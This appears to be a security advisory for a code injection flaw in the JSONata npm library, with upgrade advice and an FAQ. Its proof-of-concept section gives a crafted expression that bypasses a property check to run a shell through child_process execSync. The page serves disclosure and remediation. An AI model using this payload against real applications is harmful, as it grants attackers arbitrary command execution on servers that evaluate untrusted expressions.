GHSA-2943-5xfg-gq5f: Code Injection
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $hasOwnProperty := $spread($string); $proto := $constructor; $constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")(); ));
await expression.evaluate({});
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.1 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 2.2.1 - Upgrade
Upgrade
jsonatato a version that resolves this vulnerability.Fixed in 1.8.8
Event History
Frequently Asked Questions
Which JSONata versions need to be upgraded?
Versions earlier than 2.2.1 in the 2.x line and earlier than 1.8.8 in the 1.x line are affected. Upgrade to JSONata 2.2.1 or 1.8.8, depending on the release line you use.
What must an attacker be able to do to exploit this issue?
An attacker needs to supply or influence a JSONata expression that the application compiles and evaluates. The provided proof of concept uses a crafted expression to invoke Node.js child_process.execSync, resulting in arbitrary code execution.
How can I determine whether my application is exposed?
Check whether your application uses npm/jsonata below the fixed versions and evaluates expressions originating from untrusted users or other untrusted input. The issue is in expression handling, so applications that only evaluate fixed, developer-controlled expressions are not shown in the provided information to be directly exploitable.